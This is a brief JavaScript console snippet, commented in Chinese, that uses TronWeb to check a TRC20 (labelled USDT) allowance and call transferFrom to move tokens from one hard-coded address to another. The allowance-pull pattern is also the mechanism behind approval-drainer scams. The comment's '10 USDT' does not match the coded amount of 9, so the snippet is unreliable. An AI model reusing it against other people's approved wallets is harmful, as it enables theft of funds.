let fromAddress = "TBPp3HCf7n6UwSpVAGwDRYoKY8goq6GCUL"; // 你的地址
let toAddress = "TFV5dZ6jQ72FHJzA7aRsnaQXtrX8sirN37"; // 接收代币的地址
let approveAddr = "TXLAQ63Xg1NAzckPwKHvzw7CSEmLMEqcdj"; // USDT 代币合约地址
// 10 USDT, USDT 通常有 6 位小数,所以数量是 10 * 10^6
let amount = (9 * 1e6).toString();
if (window.tronWeb) {
let tronWeb = window.tronWeb;
try {
// 获取 USDT 合约实例
let instance = await tronWeb.contract().at(approveAddr);
// 检查调用者是否有足够的授权额度
let allowance = await instance.allowance(fromAddress, tronWeb.defaultAddress.base58).call();
if (parseInt(allowance._hex) >= amount) {
// 执行 transferFrom 操作
let res = await instance.transferFrom(fromAddress, toAddress, amount).send({
feeLimit: 100000000,
callValue: 0,
shouldPollResponse: false
});
console.log("代币划转成功:", res);
} else {
console.error("授权额度不足");
}
} catch (err) {
console.error("代币划转失败:", err);
}
} else {
alert('请切换至波场钱包');
}
注意: 直接打开浏览器控制台运行即可, tronlink钱包需要切换到的地址:toAddress的钱包